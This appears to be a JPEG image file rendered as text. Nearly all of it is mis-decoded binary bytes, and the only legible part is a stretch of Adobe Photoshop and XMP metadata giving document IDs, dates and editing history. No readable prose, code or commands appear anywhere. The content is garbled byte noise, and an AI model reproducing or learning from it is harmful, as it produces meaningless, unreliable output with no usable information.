u�9V�a�e-�-�:�6��V>��Zz�M���u]'�4]����1�O�%��K�Z���g�j)��7t���}��]���c*{����w�~���	���l/�}1��5���I����V&#��۳���S���#��3:�R�e��>��Z �ӷ��U�o���?�%K��*�z�j�(7������*ȿ!��f�I,��C*Ʒ ��	��"��5�?��ev^��bh�L�,}n����4<���ڢatZ:}4�[���躗:��6�9�����6{j�6DZ�c���,�~��:�zm�>_r W���2��,�΄��p�(c��K��
��!����}�n}�h�mM��H��O��n�
B��Э.�q�Xspg� ���\ݭ��1������TO�P������Y��%��%�1���ůR�'�x,���E�v9��n�����ܱy^�����[!��4n ���L��G
�S��6�c	���6oĹ������OV��Ղ�|��+	
�O/)��2O�y�Q�[�tڳ�Y"�_�뱤��-�]v5J��Ϙ$&Dk�T�����ִ��@��~�ꬹ�5-&~Y=5��Rβ;*C�
.��?0����5���L��f�I�u�F�=G��'��3��)rl�+P),��\>�w'm.�E�"��cd�	P�UaI�3x���H:�w�[�fm�a��cG�����ߞߔ�Ю�h�E����=�c��L�r������>��'�k���m����h��e��k����ϣ��SO�����,?�m�q��՘�C1r���{]�e�Z����kn�ʿ�g�T>Շ�^n�5�@?�}����;��\����z��DN���R^��=�xc#�M6�eYU�A��=�;���UM�W�1ߛӪ�zW���~P��2��a��^?���5̪�if>�K����=�5ރ�U��x�I��w���j���������l��/�
i��[&�����}�����
^�ʖHX�������s���6=����^ׇ�w��Ӷ�Y���ەk�EE�������sD#�u,|L�)��_F(�x���7a�Hݟ��/����z��3/@3�暏���[��˝M�,����O�ڇ0�a���g�4H�N����1qe�������j�N(nc���ٚ��/�C]�Q���Q��v1��}�c�_ښ]X3>ֵY�'�t���e���Ce-
a��79:́ŧoH�ѐc�<:���F].���, ˓t��n�6��V�	�$��8�"u˲�ϢϢ<�q�̦Yk�k]i#k����I��k�$了�����̿���]����ŷ5�Z��^�~j�ņ_�_Y����o5�!��O��{ظGL�]�⺿�ig�v�c�^�ǛKno�J��b"�]��q��_Z������|�q����̷ֵ����,^���Y~�1�y!�>�,c�MvW`�����-�����v�g�S��\w�ȏ�q�Y��eΩ���h��x^�d��$H�a��@�������a��h*��m'�A�x#��X��fe8���Xʣ�y
ZX髧��1iS���T�J�^�ss���Xw�ߺx�[-�uN���hk�l{C���n��^�+u�L�#�6r��1�Z	:mo�˟��=���9i�<v��{q�ֳn�����ŋ�jkqs��ՠ~U�^M���6����	����c#Z�v?Sz���lú�V&m���dk>������?�Eػϫ�9�a�h�����/v�F�9�;l��y~5��{Xlo�htD���}kwN�?W���p2�0E�.~��g*��-����x�x��W�U(q�����K���0m}n.e��d�pՏ���g�6®~�[��ߟ�^6)w�Ur�1Qk�湶7���}�}k��2��*�E4�A����^�ݳ����u��{�=J�f�����/{���6?�?�~b6���40���$:�/�o�r��a�ً�ƺƼ>��Z��s\�:�_���������~����y�pz{^�
	�s������3W�/�����I�5�̸�36���Ѭ�ԍ�m�?��G՜�3��21C[y��.��׷ݱ���k��7����=c3��n��������3���c_���g�۩��,?K�;�_ګ�E6}��/\T����iwZ�y���5�����wm����uk��馊�����Vc�=�sgCʖ�c˭.=��=�α�[����M��:�m8�mq��
%�����7���\>���E�44:�}l;�?&�$GSí.�6(qh����kОJ����}l�ǵ�}."��Z�ʫ�7Ӱ����5�l�l�{Q:Gٺ�O���ʥ�ohr�bb|���c���������:��˝F��aڹ��8�`�c���Y�K��A�_O�Ck]��zx?;���;ˇf��9f������#:ϣ��,����g�[��8GM\����x��e�`�Y���.�Ϭ�s�_K�6�Z���.���|L�_��"�nMnkg�\a��r:�o��<7�
�Ά9�/mk�o���M�*C�*�_û�ʅR25�;9�p�����m��တ�OhZ������H#-���H���n���s3l>��k��5�i��!/���W�}���E���}}�n���	̻Ʒ*�T\7XI���L��Z,n���f��ɽt�5=���Y���S�����죦ہ�Z�l�����j��;�s�$�$b٫o��/��~����vEv]] [c���sZ���9�?G�^��}N��1r��i���[ai ��ޮ5^��l{͞�u�ŧ�L���q�z����n/Msr�<ZW�������+�z�Y���"����^-.5T�ֶ��+c�c��c�th(�FL����A
�|ߓs�΂���o�[u�w��jR�]f�F�Lq���9'��9Ȕٝ1��غ����
���ȯ�mˍ�H�^M��4x�?���l�&��:�H�uX]o�ە���m��u3a!� �ѻѯ����l��Vz�z{�W8��>)u\��t�ds�zYS]>�ˮ{[��*g�8���M��[�H��5cɧ��av��V��c���n��\�Mȳ%���
����e�;��G�u�u��T*�9� 4�ݍ��sw*ՓFE��m[Ü\�2Z��2�M����m����iml���֬�X�8=�����~.SX�[S�܆-quM�Z��x5������楘�Yv���>����{/
�E��+������Ϳk�o��F���!c��y���R�Os-��%�5�]�;���a�Ϲ�{�Y,h�@l}�'������Rx��+�������uuY����5����F�^�j��}e���Y�el�������*�Nv-�ٓ�U�����
ľ��'��}7�'�\~�]%��+q ���>�=k=?��u���Ej�7]���#�kv{�!��T�_��1�:���\8p
��Ej�o��#��"����ck��0��
�mճ{����T���x�e9��{k��v��<�3Ԧ�v��t��	Gm��\��R�m��h��:����c]��Cd��]}�P>�66��l���O��ܟ��[[q/�W���?�=���H�t��Qa&�x0
����[��?���Y�r��=?E�1�ߣT�WD��Ttڏ��s�,��z5���Vv�u�>͉iK�P��=�7�eY�m�1�d���ɦ�˿sѭ����T��g;/�疻�Hsx-�4��o�t6����q�v6�F-,��񼵍
k���Qߟ�XG���ٿ�fV�-y!�t�>׺�vd�Z?��07*%��C��_����vYo��lq������ջu}W���b��}�k��6��Ec��+��Z�R�:����1��O��)%ƻ
G������z��ZvW���QW��c�I/q.q�IԒu$�)�X�)�c����$1���;ZՋ��[���<Wq�����=���?��o���U-L�߇�\÷'/}T8}&���Y,�_���E���eccՊ�@��ĞJZ��Q����tc���tws�Aq�7b�*�n8���n�D��(T��k�����Jm��������eb��۟�eG��1�5���W�5N��e��\&7՜�M�M�=����[���7:��w�ֵi���#�R�ݧ����r�����p�9��S���+GF����g׀YMxy�S[h4i���=��j���8t����ʘ%�X�Ξ��+��䭼.���
��u
`��3�쫙�As_].�W�<~�C�Ȧ�����s�]^E���{p��3��MbII?j��<�U�z�p��n-��Ցu~�,��>���ub��q1�F+?S�˩����'�����l̲�O��NS+��Tm�?
��Xn?;;*�*c�߲��YK�X{��}��'����0�Ʒ�Ր�g>ڳprK�X���/�3�E?e��M:�/��g����s`~/Q��_�M�ͮN�_�̗�m?����D>����)�#6�1m�U8�S�j��%�����=+������>���p�͹�m���z�o�>�eY8̭����_eu��"�������x��4��u��{��멥����V�M��hꏫC�m���u�:�q�f��S`|��5�R�]���g����'�:]��;ȼ���WR��i�:Y���S}�p�>Z���]� ��l���mp?�%a}o�顕��P_����h��:�욍W[H�׻{�_�E�~�k?�2<[��g�,���zFEx�����״��,o�c�=���쟫_��u��=-��1��.�x/�%�o���u̧Ӫ�_�qf�ڮvX�9��*���鹘����wǯ���:��z�~�o�����?^:}xU��d2���{mΩ����7n���ާ�X�G�]���04�~btc�	�3,�d�CU5���e�R���vų���Ա@5�o���- �dN����������--����Ǎ=��n�Ƭ����K���~z��Z l_���\Y����L��f�U���W����,L�' ?�i��@a��_���|N�m��I�M�����-64V�	 @Cy0��g��d��܏�W����q��T`������z��=W*슱���V-{Xn&+`'�e�����5p	+���m��e{��6������>�_��1��Ѱ]M��h��4oung�����s�{����$÷摻�E�dzԸ5�C��{Ep�ޮ�>��!e��}P71�G�k\2Av��kw�sZ��ϩ&��K��}����p�[*�oM��. ����S�i���Ϸկ��gվ�:�s0��#��\j}����c�Y��M�+���'�i���}ɷ����x���K���;�u8v6U.�uF��~)�b��5�Q�}s'3�'Ҫ���?�-Tm��pm�$���"=۷~nߤ��$�K]�.���m^�/Ī��$�{�Z�2�h�Lcv=���[��I!�R\N������$��].�k�c��KK��$
�,��Ϡ����b1��&��#R�RB[�;;�].��TK��5X�$켘!�Έ�r��H쮯��8BIM!WAdobe PhotoshopAdobe Photoshop 20248BIM���http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="8A60FEE65BC09303C809F39E4D06036D" xmpMM:InstanceID="xmp.iid:88d05051-3612-447a-b01d-d6c7ff07e0c2" xmpMM:OriginalDocumentID="8A60FEE65BC09303C809F39E4D06036D" dc:format="image/jpeg" photoshop:ColorMode="3" xmp:CreateDate="2022-12-01T17:59:52+05:30" xmp:MetadataDate="2023-11-13T21:36:01+05:30" xmp:ModifyDate="2023-11-13T21:36:01+05:30"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:88d05051-3612-447a-b01d-d6c7ff07e0c2" stEvt:when="2023-11-13T21:36:01+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��!Adobed����
����"���!1 A"02#3B$4@D%			!1A Qa"2BR0q��br�������#3@��CSc��s���$�4P���`D�! 0@1APQ`a�2Bq"���8����w��d]��"4
rO)i �Z�ӈ�ަ�/lr�Ic�畖������5���a@�UUԪ�e-� ���I�3!2`L�$�U�P3&���pZǣ�]dC�}�v$�$�����BI ft4��w�	<X&�`��޴PA��=}<:$e�'9Ur�����.NJM�X���5T�%.�JM^�jq�*<�f�F�=�n5�T��2n�!ݝ���gd�::�F�[����l=#'��a��x
��C^t7[����
&Bt�3$4��pI82t��'tEM��TnWW	�e�����w�-�	�vV�T�P7��ƴ'M���\��h�j���Tidb퇦x�<�u_L���[:CN�I�����ɲL7$]dVF��A;�����(�uY���Y�}҄�.�夕$�V�qt�`��E;u!9�s�ƚJ ���ƌ���}���q�:������m�C�vIU+X�@y�֨�W�u<�Wj�+YMCYǍAY�e�X��TЉ4[�@���a�%i�1�Vu3���G:Ȭ����s}�w��i�$��Hf��V����2�DV���#-���Ƞ���@�.C�5&�� ��&p�4d՜�����Z#��-�*�_=��|����l���{S��晝����pt�
��Օ܀U}t�2�3��:���P��q�s����:o��ԗ�ݞ�E:b>�/�����O�~�
�U�j��o��s�p�6N�.�,���^Cnh�k��@�t3!˫�����:]k�\t
�Ƒ4�6R�C�x�g�g�0m��-������4]�{O��7���s��!d\��vHu�@��T��,�eS��4Ѩ�y��l� i��Y�Β,,RgJ�R�:9�mp�S{�z�/=Cn��ੇ�`�\���O8�iY�.�ls��2��0u1��-�4��(�^�A��䖙xlȯ����^S�"]Sa�bnj��WR��i�VPV>�%b�4i3$:���{W�0���L��jѮq���-DF�I^�TШ-?+M<���&������N�ђHyFAa��U���`U?�|���st��a���9�5�������*�/>��X�[����~r�.�'k=pD��Uk�ǣ

�=����i��Oi$l��\�2m1v{�3v�/9��5�$��W�`t@�Ӧ}n��zVu{M�ƻ���U�UJ{lL!�*k&�xT��=����̸�+lQ�l4�;L�9�V��GD�����מ��\j/�y�p���Y��6*� ���m�纱�nT�ԃx�q�G<�z[R�Ћy��GS�/��������m���L�J��;�̳=�	��TY}WM�f_S�cq}�YE%���rw���i�oC�*����RˡT�����7t`Ȝb��v�K<�6��+t
ub2l�$�Xxf�W�N5�w��uS�,mL��ua��kͦw��s蜏K���7@ (`�Q<V��Բ��t���xk�}�+��pe�z=��g�t�a�V&�2P�����JQb4���6�wk��Ƅ��G-�#$�U(�;.���k*�Η.����W�K���H'H)�k�F!8��j\23�
�j�j-�hT�ET��9YT�~�'H�
<�6�m3b�
�v�q]��FG_���Ӷ~�W������$f��ieQ�7E��]���Jʺ��^N+�mܑˤ�5��ٙ��&W��3VJ��h�(ޜ�"���<
�&�S�������,��:�ͺ�S�s v�;ĺ�B 8hY�hD��2d��0r��Fi��u�U�Hv�A�C��kk�y�Y�X>�����T\h��u�5�H}}��@<6fȨ0<.�0_��L�~@
'�u���l�Z�����^D�.��U^v�|����h��ɦ��Vғ>���z����T��垛Y�~y�_�k���F:M���[1ݢ^�1�>y88����)�E&��([d��ړ{ C'��P��Nڱr��P_[�D�Ѱ�-e�`��)hH[A��s1�^�Rc�NmE�•Js�Nάc䭬��R�8<�J�[��L�Ԑ3]	�RM;:	YS�r�҂Hi��~���g�L+q��1�q Dphf۲U�:U��-���>;��
�gCBQCKDki�1I���REh��j��#��,�2�B�$�w���l�k7�/(�K�( W�U���u*��w)���B���U�Q[AN�%�9��&���?��y�F���bl��b'��cQ�U/d��盤Ț�I��	$�H%�q�5G^6�eg?���}�����yv���;=���ɻ>/�3��n0$I�m���c�Kβ�7Aa�����U:j���v��[=)$[o2�<
�
�}I��]�$�]�@�.hNap��.��	�]w��e�Dj�P�\�AW����
#��6�������=,�����_4����I9������:���oP�`�m��w�y�.$֖U*���{�
��OXȐ^��N���Ֆl��V�r�����O�J��k�)eQ'L��x�v@�T`n`�ɲHQ�:�s��F���"����-���<Ɛ�Srl˜�@T��x<Ϡ�5��UL���3���&����P���e`�:r$[Y���^��D��a�� ?������Rw3�������zo
���3�B�Ӿ��������TαJ�&�Ws5RI��T�GY`����	�MA���@Ҍ��c�:,�@�#-�)���2���|eM+�<����� (i��l�8F�7ʴ���6�iD�r��c��r���u�='c��5��C����oEL�4�y�g���F�?m�t��s���t��K\��$}_9��ns��UE�=^�i��1�T��ֆ�[�/Q�b�ڂ�����ݥ��[FC�Ed��t��)ο.�a!�Ha���H��v�eV�h'�9|��v�e�x�L��J,��m�B�S��%�$��	i��]���ei�/9�3�[<w_̵�ٽ�Wݛ��tZU,�Zk(N�3^fރ���vy�]U<�w�yҩ9\��(|�zx�u��@��vgC;�yn�	��-��ʩ�#n�J@A��H��:�N������)���t|�\b���ę�0I�FbqˠL��P�ow{��#Ʌ��_2z����oѐ�!~>�U0�L�	��
hDF�˚�*/jw¶i"�ҵk�J��!�����I�Sң��{��A��@��M�
���`�`��Q\�����o��}!���mʁ,#�I��2L��gk�U�5����N���壟X�����I�Fl��%��� b�	&C�d)(�:fL��`I0�;"���jr����.�'T�����	��=�Y���8�Z��G^s�7$���H#��<]���-v4.�t���(�5m���B&�d�2I�V�B�� ͍���N�|m[�&j�x�t�2L�ZY�NA��Leі�$����ը��`2��2�IT]D�yM:W9�ɤp��j)�#�<�e�p�	S:�k�<6C��9:����I�85)���5�X"�bX���P&3iƺ�hus
���J&Ƥ^��G%^���O6-��.Z@hԦ=\��@
5����v���
�s�gvGH����f5���£�:���Z�6a�*/m��5�Ʌ�8����O�=7o�?=���~����h>i��%�5��6�}�Ʒ�c�#�4i�S�	��WӦ�<b�kI�f�-V�;+x'w�����6{�H��|�7����.YC��{�wpmk~8tE.z��m�mGI.z��.�9|�ԅY���!�6�{��a�3�5�3$t6s��vS��f%��O�j@)��C����<�G���B�2���Hʗ(�.n쀍Y}�*��WR�c�pL��isSO}vI�![X�+Qk"�A+)p*�k��B\wX.Z������[N>f�i�[�cYR�qf"���T�[�Ϥ�l*�:]ݩxy]�5N=�����,��&'�Bk�6;�c�T�O"�Ә ��2�3��?_ưNτ�t��ߜ����r_BԹ˥����ӂvv#�JxF�X�2U΁1Ʃ z�8$�yF�{�s;&��c��?Xtm�ŝY���f���6a��c�An}1d��dN.u|GJ�p���t)��F\���l��<��`9T�NH��ߣf��7Pc[��
�aե`s�W��N�;��ye˪���$s�B�yF@�	�]T'x�M2L��E�cS����2d��M�B{j�U�y&T���E�uXS�1�n�1�۲k{�#�u�cO��֏�X�����~w��a5Ds�st/	�>x{{�@�!����u�ɍ)��SL��1	�0�����6r!��dR�t8#&Ե/&v��wV\�cZ<ӻ0<�p<%SM8�%S�'gCfvI�!���NWP�.��ɘ�V
jd[E�~�.�;��sV�h�'oM���f��OD8��<0��=V!�v�3ό�89L�̐���x��Y����.��Li3"�h�M+
�@4��d��4X�a�p�Tŝ�MBc��̹��M4�	���V�l��&:g	�$(H��`i-�S7J�]��.�wZY����ȍ�@Q��E��b�x�D4�*I�x��h��,n�痫���GMHֿ��uO��3b��Le0���
�8B!*�A�53UP�WG}�!��ҵ��R�A��ZL��4�J�Rg��鐝�(<A&BvPM&uU������#=�㈟a����J�I'���/����6���A��y
k�s���Q�	�G���ļu��Q^���Hxr�f�Jk���.��M3���������nE���I��QEj�&u�KL���:�pT�x�kj8�V�qUF�sR5��Ti,�K5��A���4z�*1�R��+(�\��z�]�9?1�����#�+?�$p!�7+Y(��!����2J�%a�e�,X���]�^Wq#9G�Q�]�����XD��ڰ�0�����	L�	N ,�?�i�\�D��ܳ�!�P�B?�é$9�?�G�s�2x9���y1���9�C���A�FV
�VJ����p�y0ad!ô�"(���Ot|���p��Wo�!��̢�����]��:#�
���B/�k�ĝY8�a�(�ec(4g�r��ŧ�<3����nPh�u.XAy�-NvWӠ�C�͝<d�և��A��õI�u!8c�p%.�J��`1�B9���WE�s%�y\�Ϲ���\CH�1��9=�q�!����X+��=�����70�D™Ȯ�<Iጧ4��>GǼ�N8�'^A�,,����
+\�SA�p4�G&S�l�{�<��N��(E��/"y���:��`�eVxd��D�+�wawe�2��8�0��#+�|@�o\�����<
+<�z�䋹�cs���H�-����Ũ"�� r�F�^Sz�ڳϪp��~#�VW>@�z�I{�vqoTz�(��wF�S�oBP++�p�s�,���r��BG����-��WP@C��4��8�ox9�7�O�+�%���	�
�<W/��ގ)��5���H�1�#-R4>YC�'!�w�����������̓�v�A9�QC��]� ��%c�JG��WqN����(�PX2�P8YA�0��?���y�����O܇D?H�(��PE4�x���\�}x����$�.��P�>���Tߐ�܁]� ���N.(=P@|Pz�,.ӎ�~!�׀D @������Wz�<素�Є8'�8����rKP`]�`,�j<�W5ώxc�j�X�29�G����倆�Y+%ed,���pC�.w��XX��!��<�
�O���h]�ᒎV
�!w9w9d���PvS�s@q�$������,,#�eg�y���������̬��"�D�Wq]˹w�#�p������g�q]�w.�PD��a`�v������,�����\�<J<�<O�?!����<��~���aa��ػb-*7�'$�
��	�g�vvV"E�����+��Xr���ƒ|K��!�����~�W�ad.�NSz,,p0���p�	X9���s
�-�.ՄQ�}AC�"8<��D�u\���L�<
k��0�K�$��{���0
9,��,�z�8�J���p�]�tg� #+x�x�n�,����]�|M�N ��܉�܁�=@C�O.�����A�I�

fa9�wy��r=|9^1� p��B�p+��SW�!�-Nyr��Vy��9�7��>�I�1��}�\\ZNc%��9�P�A���ЏPP����@A�(���B�+ �Lx��΄$
����g����m9]ȕ�B�YP��$r{�s�4�#{�<���8w� ù����6��3���KY�zp?����y.�GW���5��?F�*F`Fs��g	X�OQ.�%	�ѓ�Q��ǫ�P'8r�,p�Û�лGh8Ny--%v�>�N�Q��Ü�v�A��(qR�G,p�����FN	��8`h3�xW�8YC�HE�<]�)C����0Q��a0'uh������Pqp#��_BrB%��<3��3����M�M��<��aN�#�y�3�G%c0�$J���i��OvOMM������z���Ja	�W���~ �%3��Ivx������`R�����@�q�PD��8{�D/.Ds�a�`�Qw�IC��y�����R���K{V2�A4�p�!wr �����<qŽ{Bg.~?z]���<���)��y�H�J+���?H�G�Q�я���O�A�-��|p����L"p��Ğ9�ᏃG��%τ��_N'��r���N~#�|�|�ô�|s��8�Oğ�B�c�Fr�@�NY!eed�	@adp,�4撘G��Oï�"x�����^VJ沲VPAarY!a`q��]�++�(~�G�"8�y�������"а����+갉�O������XX�c�E,�C#�v���]�v�N�a�j?�%d��������#���������_�(����V
��,�@�^���.�ڇ�%�����}J9\���8�!��>'�����?�8�oW~���������,A��pc��
l5�>��d�ˠ��N��B�S��KZO��63�&����h���Z�xIӎVVVVVx����s���aaa9YYYY]˹w(�&� ADe9��1�؂5xZ�&N�xP�	��:�)�M�U�D�=ME�&��ug"!�-�W�=�N�#�+<3�+?��w�8���S�l����`z����[������A发��eeeeeeg�ѓ
)2�r���w&��48N���VF>~���	�up�Xa�Gp�ط�$8R99ȩ:��=�_��v_�J��[�e�i�WV=���H�~�-�yh���]�7�MFo�����8��LUyNZ��$�ʈ���LxE��G�>�k�`��M!d B�9XE�9�I����NS�2����x�^�B֧ԧ#=gY��^��&�=��Vv�+N���^}_@�L���v9���
>���w��]��%�
z�/3�x�0����
E�
PI��F���fB�'95�jw��r^0�s���G'6<㼠�VWr�]�R8�ݘ��i)��B!K���G�Z)���$D�XP�f�ߥz��z>�٣�=s[+p�)N~���,�>H&n�-N�m�`eφ?G
6w�V�6X�Z��
����,�uxQ����p�E)X滴�a����J��~A!Fy��A��p��ȬJ��nǛ�%�xIEK��Q+?;W���ݬ����WcŨ�O+{ a}�5>�)�IFb�ɲ���v:zW���l���׶V��8a�Qk�ű��"{\���:X�S�1����4j�9v��?���ke,�I�sa/-�MfPb�Mbt`�+��P�_	���J�+)��$�8L�{�[��n_�1��H��r=~9Y@����[��coS�������E��ߪ�]u����1��:�2^��ߴхf�NN���]���m�U�
%̎��i��ͽNQ�IF�'�4�Dа;%�
P5�R�����a;�n�1؍�ҶW�O��OM���ޕ]�>��C�a��mD"�B�Յ��"ܩ+�#]�6"�0ۃ�r�0T�a)F��Υ�l�m[Z�5��C������nYB��D�ԽY�E�2�w��޼�v�X5V�-�k�c�"j>�,�"�`��Ze�����;Z|��;��,��6�����"����Z����s�U�b-۹��a,�H�W�c��-50�?(X_�x��iQI���w+E��,"�ڋ�gƝ1�9�����	O
n����
��Z���z˲��{�+�u_��l���l�,���i��i#�]�����Z�j��^��l�a��<k�z]�-i�V�Ez�����f��� �����o�Kh��5�G�'Jҥxq(�dE��kp�hE�IN$�pkK�T�
iX����o��ҁ���O���k��rҚx�Nx]�=w.� L���A�p	��=�On��~��7$F0�Ӄ�1;`��J������4��5i�.�~��n�[�ʞ��61��6[�<j���.�Sky�RZ,��1��|-{K�ӥ�7����۬�:�S�c�1бO;U���<�*Ԛ�%
�V��sڻ�yM$���L�1<=��(�����3�
_.G`�dޫ���4��P?	9<�9w�.�I)7�͓��y��m�*G)
z����&�|`7�.l,푘A1���bt�!��,~F��5���.HYh�-���^{X�N��,���;�X�4��m.G�k���6�u;�H�-vɍ�Y�:	.ڄ7��|��%?��^�'������{8������6̡����k�\��>8�s!��<ׯ�E)a-��a54,!�g�Awq]ħ�����a�y�3��%�e�$�R9=��O��	��]�VlE�cf0{��W�D%ޓ�_i���X�K<�ll��}m9T�Lܶ3�&�_��b�s���}΃�_�Nd�@a�Yh�/����Bv�ᘲK�bu�	2�����
r����-}a��^߹�&�Ѓ@_v%��H,�+W�����q�s��
�kSNAak=�k��9�!]�'�����NL��,��B�̽��~��Pq)�
h��\�I%��/T {��GK,�5����#�,�Os��1r�(R��׼�0{-Sc�RֿyN�YY����jKO�5����l�Ƶ�Zף1�T
˼@�V��
9��ѐ��@2��Ӗ�1�ز"��]R@�,�.C�
8dy��׍�x���<� ���Zf.K(�ܼ@HܧG�ań�0���~͇�$G��r�r#�8������Oj�^7+HZ�M���z�����re����85�h\�R��,F9�6��t�ӝ��e���x��ff�\�욜��T��Mv&���֚�oq�����1z��?������B���%�gۘr#���?�%7x_׀�Mݲ�Q��I-y��������9�)�ek�+Ɵ����ܝA����߾F���z��6e2Uz�/�V��vC�8����D�w	�`�)Y�VّyK�G;lB�������Û��L���d���ט�r@��[�����[$�&���>;n.yZ��Yb�.ƫE�Q<�e�Kڣ�J����S� ���Zi\��;mH����:W8���3�ֆ�k�ko����BB�H�<���,aA��:Q�'W��݀�ޜܧ��œr=x�p���6�c6w�\I�K�����j��S{���"�Y)[k�������b���c6��'�h��Wf4�PU.8R8zp�[+���d�ݫ-9�3X��y9U#���	�&����L��������de=9�^F�^o�&�[��
N���3��`e�>«�[g��8�Wd��? (���O�0�bhXXE��X؜0ݏ�-��+�y�?C������;!͝��7���occ_����#Y�����-�3If�,G'v�ma�S�b�iݯ��j�����Z��p� 
ݮ��E���gi�����I��ͬ����헩+Z���解��V*m}h��Q9s@\��zq�]����mC۬^
@���qY���e�kS�r�,R�V`>B����k���^U�F`��y�t�H��}ü�'�L��<�^5��Gl�����i8�����'_r�#@�[R�v{��[u�~�T>�����׋QY��bwY��Kj�@�,�)�"{�L�� �$�WǮ�<�_~���t�›H}��3W���n�V� Bo4����0����m����?��zT�Qb�_��Ҁ��m������Z
��0VxsG(��(��������
t���qSt=pJ��{��\�S���1��"~@�t�63��@�[��s�E���]��=�~J2���$9�Z�V��D�b�+X'�J�G�K��`��ܬ�k��D�2W���\�[�»�:� �T2��۶��VS]��9C�r�^Gv�j؆��w�zl��ds,�X�f�&��l�sY��ء%]�3�_a_��~kr-�6�
�;Q����fj�H��yٕ�<�.D�J��'�I�>0Ű��9-q
��9D̘cSn{:�����F�Y��j3V�Y"�\�J�ǰ	%s/\|RO~�|p�e�Ҏ�O����!J�;2'.0��;�*Z����w�Gv��}��>CN��m�����^[�(�
Ë#�3����4gP���Y�{)$�1ݰ�-6���W��S�] ��ױ^��LJVb5ڛ��1�?�,�I�$�)�&dt��)���O6�9�_Xb�_���rU���`�`ȱ���7���нN@�]�IZv��Q-e�>�aVj�3����>X��^�Q����dS:6�a}ӑ�FQw;�Xc�X�$��X�zQש_m�����%�?���F�
Z�*){O�y��j̯���ᦓ��fk[�c?��~;>���������vGSx��W��7Pݼ
�;g�M�F�eO�;lK��9't=AY�ZF����>�Ԯ��q���H�ˎ�wT	^��?�>Ū����R�B��d�>'Ƽ�=�
i�lW"6*W��Ga]��/�9MŠ#1�2�3�H`�b��~�V��G��շ�E���٩3�Kl0p	��]�8�X8��x����4n�k��ۤ���^-���߫k����Pk�<�	
(JB��(8�����i�����O	"8����a�[4���H<�<L�N]�Cq5���v1��Hf{�sT� ���5�a���־i���x_;�-��������PVt��k�{`h��!��V�C����I&
sPc�E-+#9.�7�s�t��k/8����x��ir,��-��C�%:e��J#+�R�n�wsk�$r%g��@h�`Ȓ>�aq��(�B.vj�8�d
m��kl�#�B2Mx��6�S��C�7iN}Xc�r)��%<9���N
�Xduc��.���AX���S�i�d-g$���Qj�
z�[�w��Ӑ2	�FX���C�ӋTg�I��_�E��lNk�2n͍�x����we�YYA�Er��Ŵ�c(�̞��4��$G"~���,�Ԙ	cc����	������:ֳ=I�m�W"qD���J���&�T.֚��v(�yY���!�	t��M�45�b�,ـ�V�'�ܐY�o�mM�+)�4�C��ա�^�Cn�kf�l6��5�eG�`����pp!�[�8>�!1�n!�?�s;�zܾ-��w*.�{�[,�s1ő$x���
iGٷ�g+<�
.tzi��:��k�d��l�pX�[+�`$����	��dy�
iMcs8J0��[�i���HǔJ��H����Dr��#��تǴ���tsYuz%ʥ�
v�F>�*%��ij�Ľ	\յ�ʷS6�m5�o�ն0sv��nG5��>����ګ6z�7���ӯ��p~;<�gjq��:�Lx.�\
�G��k$��$9��c��.݂�s��Q����\�,��S�Q�Uڰ	S�/��,c�Ic�&B�� ��!F�A����iK?r���=kڎ�;�}q�����-����3���Y���f��AV�O��P�E�M`	��Gԧfس�$���w��ܶZ��J�
5��4F}�f�ۛhz�<�[�O$��#ya��ta�N�����G?��6n�o����<�B��j�_M�m�o�,�<�Cgy$��[��)
n��ֵ�i�
c�5Rc���m�D�������ar�86nJ0JsNՎ���c�{�8�ū�)���*6�tc�ʎ�+��,�d�}���ֆ���Dbk�}j셖,`K2�l�"]˹w-��-�I�}yh�����l5�&%���x�������Z��tA�P��B;㱤&Me����uy�L&��G�g��Q��3j���7ؙ�Z9��? r�q�L�tq��ӝ��AZLvyN9-%8�+(d�N
N��?ֽ&�%��F�L4@,�6,.���ڣQ��K9y�ӧM�%BE�^E�A��5�W��ޏ������q�mOHX�u�m7㵹@�_�����vk4�l�1��^�`?V��?f��k��0����7������G��Sh�{�&�sH�c�϶����h%��'������+('tw��#T�����x���6��݆��)���P���M)�(Eu�z�\�K6O�5�H��Ȅ�H�B˕5>�GS��r�I]�w��'qk��/������t����}H�����{q���֨��c�����0G�v`�������w,w�z�n���^N�V�,2pk�\�^O��?&���yᕔQ��y$_�+m*^JO��j8w�j4���u������	�4Z�ۭ�mŷ'v,��ļ�a˽�"�A�BNw츚�����-�uM�b-
W4/0�4��g�:@q.�N�0��w3�c��3v�M�v�1%[--���m�����Ŷ��߯���p</q�w<N?��?vP .����QA�ܧ�`�0��[��)F�{_c��Iم'�z�(�~�R�zp��O��s��s�_�V:5%~���H�*�+M��r�]�9 �Ҷ�m��*1�=�?���gs�}���Ǘ�(]"�QҾ�ũ���;��;��}�"��<{:�y����_��Ρ�Z���YY����������|d�x�lvS�@����G/�@�=	�A j|�-.����.m�#8s�xR��J��-k(EB�	��2�c�6>�P�jwaM"�U<�I
�䑇C�9ee�MM^�c�f��-�uM��Ǻ�?�2�xk�4]�{����F+]���g?^
